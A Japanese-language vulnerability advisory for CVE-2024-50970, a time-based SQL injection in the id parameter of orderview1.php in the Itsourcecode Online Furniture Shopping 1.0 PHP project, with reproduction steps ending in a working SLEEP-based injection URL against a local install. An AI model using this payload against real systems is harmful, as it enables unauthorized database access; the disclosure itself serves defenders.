CVE-2024-50970

説明

Itsourcecode Online Furniture Shopping Project 1.0 の orderview1.php における SQL インジェクションの脆弱性により、リモート攻撃者が id パラメータを介して任意の SQL コマンドを実行できます。

脆弱性タイプ

SQL インジェクション

製品ベンダー

Itsourcecode

影響を受ける製品コードベース:

https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/ - 1.0

影響を受けるコンポーネント:

Itsourcecode Online Furniture Shopping v1.0 は、orderview1.php ページの id パラメータを介して SQL インジェクションに対して脆弱です。

攻撃ベクトル:

1. アプリケーションをローカルにセットアップし、アカウントを登録し、新しく登録したアカウントでログインします。
2. ブラウザで次の URL にアクセスします: http://localhost/nikos/orderview1.php?action=edit&id=1728835149
3. SQL ペイロードを注入: URL の id パラメータを変更し、時間ベースの SQL インジェクションペイロードを含めます。 http://localhost/nikos/orderview1.php?action=edit&id=1728835149+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))DTmU)